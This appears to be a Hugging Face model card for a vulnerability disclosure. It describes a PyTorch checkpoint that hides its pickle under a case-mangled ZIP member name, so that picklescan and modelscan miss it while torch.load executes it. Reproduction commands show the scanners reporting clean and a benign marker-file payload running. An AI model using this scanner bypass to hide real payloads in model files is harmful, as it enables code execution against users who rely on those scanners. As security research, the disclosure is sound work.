You need to agree to share your Hugging Face information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

picklescan ZIP case-sensitivity desync — PoC

Security research artifact for a huntr Model File Vulnerability report. poc_model.pt is a valid PyTorch checkpoint whose object-graph pickle lives in a ZIP member named poc/DATA.PKL (case-mangled extension, protocol-0 pickle). PyTorch's miniz reader resolves it as data.pkl; Python zipfile- based scanners never open it.

Payload is benign: on torch.load(..., weights_only=False) it runs os.system("touch /tmp/mfv_pwned") — creates an empty marker file only.

Reproduce

pip install torch --index-url https://download.pytorch.org/whl/cpu
pip install picklescan==1.0.5 modelscan==0.8.8

picklescan -p poc_model.pt    # Scanned files: 0, Dangerous: 0, exit 0
modelscan -p poc_model.pt     # "No issues found!" (poc/DATA.PKL skipped)
python -c "import torch; torch.load('poc_model.pt', weights_only=False)"
ls /tmp/mfv_pwned             # marker exists -> RCE confirmed

build_poc.py rebuilds the artifact from scratch (plain zipfile, no torch.save needed).

Verified on Python 3.14.7, picklescan 1.0.5, modelscan 0.8.8, torch 2.14.1+cpu, Linux x86_64.

Downloads last month: -; Downloads are not tracked for this model. How to track

Inference Providers NEW

This model isn't deployed by any Inference Provider. 🙋 Ask for provider support